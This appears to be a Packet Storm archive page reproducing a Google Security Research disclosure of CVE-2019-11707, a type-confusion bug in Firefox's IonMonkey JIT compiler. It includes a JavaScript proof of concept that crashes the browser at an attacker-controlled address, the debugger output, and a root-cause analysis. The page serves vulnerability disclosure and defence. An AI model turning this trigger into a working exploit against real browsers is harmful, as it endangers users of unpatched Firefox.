what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Spidermonkey IonMonkey Incorrect Prediction

Spidermonkey IonMonkey Incorrect Prediction
Posted Jun 25, 2019
Authored by saelo, Google Security Research

Spidermonkey IonMonkey incorrectly predicts return type of Array.prototype.pop, leading to type confusion vulnerabilities.

tags | exploit, vulnerability
advisories | CVE-2019-11707
SHA-256 | 9e304ae2a07d3108f6f5ef85d1c28d031eea4e4fd06da0f3643edab9e09c52ee

Spidermonkey IonMonkey Incorrect Prediction

Change Mirror Download
Spidermonkey: IonMonkey incorrectly predicts return type of Array.prototype.pop, leading to type confusions 

Related CVE Numbers: CVE-2019-11707Fixed-2019-Jun-18.


The following program (found through fuzzing and manually modified) crashes Spidermonkey built from the current beta channel and Firefox 66.0.3 (current stable):

// Run with --no-threads for increased reliability
const v4 = [{a: 0}, {a: 1}, {a: 2}, {a: 3}, {a: 4}];
function v7(v8,v9) {
if (v4.length == 0) {
v4[3] = {a: 5};
}

// pop the last value. IonMonkey will, based on inferred types, conclude that the result
// will always be an object, which is untrue when p[0] is fetched here.
const v11 = v4.pop();

// Then if will crash here when dereferencing a controlled double value as pointer.
v11.a;

// Force JIT compilation.
for (let v15 = 0; v15 < 10000; v15++) {}
}

var p = {};
p.__proto__ = [{a: 0}, {a: 1}, {a: 2}];
p[0] = -1.8629373288622089e-06;
v4.__proto__ = p;

for (let v31 = 0; v31 < 1000; v31++) {
v7();
}

When run, it produces a crash similar to the following:

* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=EXC_I386_GPFLT)
frame #0: 0x000025a3b99b26cb
-> 0x25a3b99b26cb: cmp qword ptr [rax], r11
0x25a3b99b26ce: jne 0x25a3b99b26dd
0x25a3b99b26d4: cmovne rax, rcx
0x25a3b99b26d8: jmp 0x25a3b99b26f4
Target 0: (js) stopped.
(lldb) reg read rax
rax = 0x4141414141414141

I haven't thoroughly analyzed bug, but here is roughly what appears to be happening:

* when v4 is created, it will have inferred types for its elements, indicating that they will be JSObjects (this can be seen by running the spidermonkey shell with `INFERFLAGS=full` in the environment)
* in the block following the function definition, v4's prototype is changed to a new object with a double as element 0. This does not change the inferred element types of v4, presumably because these only track own properties/elements and not from prototypes
* v7 is executed a few times and all original elements from v4 are popped
* the element assignment (`v4[3] = ...`) changes the length of the array (to 4) without changing the inferred element types

Afterwards, v7 is (re-)compiled by IonMonkey:
* the call to v4.pop() is inlined by IonMonkey and converted to an MArrayPopShift instruction [1]
* since the inferred element types (JSObjects) match the observed types, no type barrier is emitted [2, 3]
* IonMonkey now assumes that the result of v4.pop() will be an object, thus omits type checks and directly proceed with the property load
* Later, when generating machine code for v4.pop [4], IonMonkey generates a call to the runtime function ArrayPopDense [5]

At execution time of the JITed code, when v4.length is back at 1 (and so the only element left to pop is element 0), the following happens:
* The runtime call to ArrayPopDense is taken
* this calls js::array_pop which in turn proceeds to load p[0] as v4 doesn't have a property with name '0'
* the array pop operation thus returns a double value

However, the JITed code still assumes that it received a JSObject* from the array pop operation and goes on to dereference the value, leading to a crash at an attacker controlled address. It is likely possible to exploit this bug further as type inference issues are generally well exploitable.

To summarize, the problem seems to be that the code handling Array.pop in IonMonkey doesn't take into account that Array.prototype.pop can load an element from the prototype, which could conflict with the array's inferred element types.

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.


[1] https://github.com/mozilla/gecko-dev/blob/83bea62461d1e30aebef5077462fafb256368e9e/js/src/jit/MCallOptimize.cpp#L885
[2] https://github.com/mozilla/gecko-dev/blob/83bea62461d1e30aebef5077462fafb256368e9e/js/src/jit/MCallOptimize.cpp#L945
[3] https://github.com/mozilla/gecko-dev/blob/83bea62461d1e30aebef5077462fafb256368e9e/js/src/jit/MIR.cpp#L5836
[4] https://github.com/mozilla/gecko-dev/blob/83bea62461d1e30aebef5077462fafb256368e9e/js/src/jit/CodeGenerator.cpp#L9891
[5] https://github.com/mozilla/gecko-dev/blob/83bea62461d1e30aebef5077462fafb256368e9e/js/src/jit/VMFunctions.cpp#L430


Found by: saelo@google.com

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close